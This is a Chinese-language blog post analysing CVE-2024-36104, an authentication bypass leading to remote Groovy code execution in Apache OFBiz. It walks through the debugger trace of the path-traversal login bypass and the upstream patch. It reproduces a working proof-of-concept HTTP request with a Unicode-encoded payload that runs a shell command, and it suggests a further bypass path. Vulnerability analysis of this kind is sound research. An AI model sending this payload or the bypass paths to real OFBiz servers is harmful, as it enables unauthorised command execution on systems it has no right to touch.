Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)

2024-12-01 15 0

前言

Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。

影响版本

Apache Ofbiz <= 18.12.14

环境搭建

从github上拉取源码:https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14

使用命令创建测试数据:gradlew cleanAll loadAll

将项目导入到IDEA,执行build后会在build/libs下生成一个ofbiz.jar

添加JAR Application,设置JAR的路径后启动就可以开始debug

Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图

漏洞分析

网上公开的POC如下:

POST /webtools/control/forgotPassword/././ProgramExport HTTP/1.1 
Host: your-ip user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 
Content-Type: application/x-www-form-urlencoded 

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

该漏洞源于org.apache.ofbiz.webapp.control.ControlFilter类对路径(请求URL中的特殊字符(如 ;、%2e)限制不当导致攻击者能够绕过后台功能点的过滤器验证,并通过/webtools/control/ProgramExport接口的编程导出功能执行任意Groovy代码获取系统权限。

权限绕过

直接访问路径需要认证
Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图1

在ProgramExport.groovy中打断点,调用栈如下

Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图2

随便找个地方下断点后直接访问需要登录的路径:https://127.0.0.1:8443/webtools/control/ProgramExport
Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图3

String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);

发现eventReturn变成了error,根据上面的代码逻辑viewName变login,如果没有被过滤的情况应该会是想要访问的页面名称。因此在renderView中,本次请求中需要渲染的视图会重新跳转到登录页面。

往前找,是在哪里识别请求路径的

Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图4

这里requestMap.securityAuth为true时进入条件,为eventReturn赋值为error,而checkLoginReturnString是调用this.runEvent()的结果,这里面应该就是用户的身份认证的逻辑。最后会进入到checkLogin判断是否是登录状态,此处会返回error。

Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图5

换成可以绕过登录的路径:https://127.0.0.1:8443/webtools/control/forgotPassword/././ProgramExport

Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图6

这时的requestMap.securityAuth = false 不会进入if检查登录状态,继续往前,看是哪里设置的这个参数。

Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图7

定位到这里生成的RequestMap对象 。

不过具体判断访问的uri是否需要授权是在resolveURI()中,但是我没有找到context是在哪里获取到的。

Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图8
Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图9

可以看到ctx中包含了forgotPassword。因此,当访问接口为forgotPassword时,是不需要验证的。

后台RCE

这里可以执行Groovy代码

Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图10

修补情况

https://issues.apache.org/jira/browse/OFBIZ-13092

Apache ofbiz远程代码执行漏洞分析(CVE-2024-36104)插图11

删除了这段代码以防止..绕过。

但根据上面的绕过分析,似乎直接访问直接访问/webtools/control/forgotPassword/ProgramExport也是可以绕过验证的。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

FSMON:一款多平台文件系统安全监控工具
浅谈一次edusrc | 文件上传成功getshell
MORF:一款轻量级移动端网络安全侦查框架
TrailShark:一款AWS CloudTrail日志实时分析工具
反向 Debug 了解一下?揭秘 Java DEBUG 的基本原理
DICOMHawk:用于检测和记录未经授权访问尝试的蜜罐系统

发布评论